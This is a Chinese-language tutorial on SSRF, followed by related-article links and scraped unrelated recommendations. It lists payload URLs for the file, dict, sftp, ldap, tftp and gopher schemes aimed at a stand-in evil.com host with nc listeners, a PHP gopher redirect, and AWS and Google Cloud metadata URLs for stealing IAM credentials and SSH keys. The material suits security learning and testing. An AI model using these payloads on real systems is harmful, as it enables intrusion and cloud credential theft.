SSRF
SSRF
关于SSRF
SSRF(Server-Side Request Forgery:服务器端请求伪造),攻击者通过伪造服务器端发起的请求,获取客户端所不能得到的数据。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
SSRF危害
- 产生反射型 XSS
- 通过 url scheme (file:///, dict://, ftp://, gopher:// ...) 读取内部资源或者让服务执行相应的动作
- 扫描内部网络和端口
- 如果运行在云实例上,可以尝试获取 META-DATA
SSRF产生反射型 XSS
简单的从外部网站获取一个恶意 payload ,并且响应类型是 html 格式,如:
http://localhost:4567/?url=http://brutelogic.com.br/poc.svg
测试 url scheme
当找到一个 SSRF 时,第一件事情就是测试对应可支持的 url scheme,如:
file://
dict://
sftp://
ldap://
tftp://
gopher://
- file://
file://
模式用于从文件系统中获取文件内容
http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini
- dict://
dict//
通过DICT
协议引入定义或者可用的单词列表
当服务端禁止或者只允许白名单从外部网站请求资源,可以通过dic://
模式来发送一个请求
http://example.com/ssrf.php?dict://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 31126)
CLIENT libcurl 7.40.0
- sftp://
Sftp
是一个SSH
文件传输协议或安全文件传输协议,和SSH
打包在一起的单独协议,和SSH
一样都是通过安全连接进行通信。
http://example.com/ssrf.php?url=sftp://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 37146)
SSH-2.0-libssh2_1.4.2
- ldap:// 或 ldaps:// 或 ldapi://
LDAP
代表轻量级的目录访问协议。它是在IP
网络上使用的应用程序协议,用于管理和访问分布式目录信息服务。
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
- tftp://
tftp
用来在客户机与服务器之间进行简单文件传输的协议,提供不复杂、开销不大的文件传输服务。
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port 1337)
TESTUDPPACKEToctettsize0blksize512timeout3
- gopher://
Gopher
是一个分布式文档传输服务,允许用户以无缝的方式针对放在不同位置的文档进行浏览、查询、获取。
http://example.com/ssrf.php?url=http://attacker.com/gopher.php
gopher.php (host it on acttacker.com):
<?php
header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');
?>
evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)
Hi
ssrf
test
扫描内部网络和端口
如果他们在 LAN 上运行某些服务,如 Kibana、Elastic Search、MongoDB ,因为防火墙阻止,无法直接进入内部网络。我们可以使用 SSRF 访问到内部服务。
云实例
Amazon: 如果你在 Amazon 中找到 SSRF,则 Amazon 会公开每个 EC2 实例的内部服务,可以查询主机实例的元数据。当你发现在 EC2 上存在 SSRF 漏洞,可尝试如下请求:
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
这将提供给我们有趣的信息,如 Aws keys,ssh keys 等
可参考这些 POC :
https://hackerone.com/reports/285380
https://hackerone.com/reports/53088
例如:
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/[INJECTION PAYLOAD]
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/
Google Cloud 同样适用于 google:
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json
进一步利用可以带来实例接管
参考:
https://hackerone.com/reports/341876
其它的云实例,你可以参考:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SSRF%20injection#ssrf-url-for-aws-bucket
漏洞挖掘
- 从WEB功能上寻找
- 分享:通过URL地址分享内容
- 转码:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
- 在线翻译:通过URL地址翻译对应文本的内容
- 图片加载与下载:通过URL地址加载或下载图片
- 图片、文章收藏功能
- 未公开的API实现以及其他调用URL的功能
- 从URL关键字寻找
share、wap、url、link、src、source、target、u、3g、
display、sourceURl、imageURL、domain...
漏洞验证
排除法一
http://www.XXXXX.com/***/service?image=http://www.baidu.com/img/bd_logo1.png
你可以直接右键图片,在新窗口打开图片,如果是浏览器上URL地址栏是http://www.baidu.com/img/bd_logo1.png
,说明不存在SSRF漏洞。
排除法二
- 查看
burpsuite
的http history
是否存在图片的请求。 - 浏览器审查元素查看是否存在图片的请求。
单服务器
127.0.0.1
多服务器
10.0.0.0–10.255.255.255
172.16.0.0–172.31.255.255
192.168.0.0–192.168.255.255
CEYE
CEYE是一个用来检测带外(Out-of-Band)流量的监控平台,如DNS查询和HTTP请求。它可以帮助安全研究人员在测试漏洞时收集信息。
参考:
https://www.secpulse.com/archives/4747.html
https://mp.weixin.qq.com/s/bjjChubAvo8iOUYYU78uaw
SSRF的更多相关文章
- SSRF篇-本着就了解安全本质的想法,尽可能的用通俗易懂的语言去解释安全漏洞问题
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内部系统.( ...
- SSRF安全威胁在JAVA代码中的应用
如上图所示代码,在进行外部url调用的时候,引入了SSRF检测:ssrfChecker.checkUrlWithoutConnection(url)机制. SSRF安全威胁: 很多web应用都提供 ...
- web安全之ssrf
ssrf(服务器端请求伪造)原理: 攻击者构造形成由服务端发起请求的一个漏洞.把服务端当作跳板来攻击其他服务,SSRF的攻击目标一般是外网无法访问到的内网 当服务端提供了从其他服务器获取数据的功能(如 ...
- SSRF攻击实例解析
ssrf攻击概述 很多web应用都提供了从其他的服务器上获取数据的功能.使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等.这个功能如果被恶意使用,可以利用存在缺陷的web应用作为 ...
- WebLogic SSRF 漏洞 (简要翻译)
[Ref]http://blog.gdssecurity.com/labs/2015/3/30/weblogic-ssrf-and-xss-cve-2014-4241-cve-2014-4210-cv ...
- SSRF漏洞学习
SSRF SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内 ...
- SSRF漏洞总结
SSRF漏洞:(服务端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内部系统.(正是因为它是由服务端发起的,所以它能够请求到与它相连而 ...
- 浅谈SSRF漏洞
SSRF漏洞是如何产生的? SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF是要目标网站 ...
- Discuz!另一处SSRF无须登陆无须条件
漏洞来源:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0151179.html 看看poc:http://phpstudy.com/Discuz_ ...
- WebLogic SSRF
本文主要记录一下Weblogic SSRF 利用的操作过程. 一.WebLogic SSRF漏洞简介 漏洞编号:CVE-2014-4210 漏洞影响: 版本10.0.2,10.3.6 Oracle W ...
随机推荐
- Linux中 ./configure --prefix命令
源码的安装一般由3个步骤组成:配置(configure).编译(make).安装(make install),具体的安装方法一般作者都会给出文档,这里主要讨论配置(configure).Configu ...
- WPF常用布局介绍
概述:本文简要介绍了WPF中布局常用控件及布局相关的属性 1 Canvas Canvas是一个类似于坐标系的面板,所有的元素通过设置坐标来决定其在坐标系中的位置..具体表现为使用Left.Top.Ri ...
- 安装mysql数据库出现错误"系统找不到指定文件"
http://blog.csdn.net/Marvel__Dead/article/details/63262641?locationNum=4&fps=1
- linux下mycat自启动方法
每次开机都要启动mycat,网上看了好多都是用shell脚本来实现mycat开机自启动,后来看到一种方法,直接修改系统文件来实现,已经实践过,方法有效. 1.修改脚本文件rc.local:vim /e ...
- LVS(一):基本概念和三种模式
网站架构中,负载均衡技术是实现网站架构伸缩性的主要手段之一.所谓"伸缩性",是指可以不断向集群中添加新的服务器来提升性能.缓解不断增加的并发用户访问压力. 负载均衡有好几种方式:h ...
- idea 用tomcat运行javaWeb
指定tomcat在计算机的安装位置: 给项目加一个启动配置: 添加一个本地tomcat: 配置这个本地tomcat: 运行方面:
- uni-app
1 路由的跳转 uni.navigateTo({ url:'/pages/home/search' }); //非tabBar页面跳转 uni.switchTab({ url:"/pages ...
- Codeforces Round #552 (Div. 3) B题
题目链接:http://codeforces.com/contest/1154/problem/B 题目大意:给出n个数,每个数都可以加上或减去这个一个数D,求对这n个数操作之后当所有数都相等时,D的 ...
- Spring常用注解总结(1)
前言:项目中常用的注解常看常记,总会对自己有些好处,所以在这里分享一下. 使用spring时,可以使用xml配置文件配置相关信息.但是我还是喜欢用注解的方式,因为可以充分利用反射机制获取类结构信息,而 ...
- 安装CentOS 7 的yum 到 Radhat 7上,使其可以获取资源
镜像资源: 1. http://mirrors.163.com/ 2. https://opsx.alibaba.com/mirror 从上列镜像资源下载如下rpm软件包 -rw-r--r--. 1 ...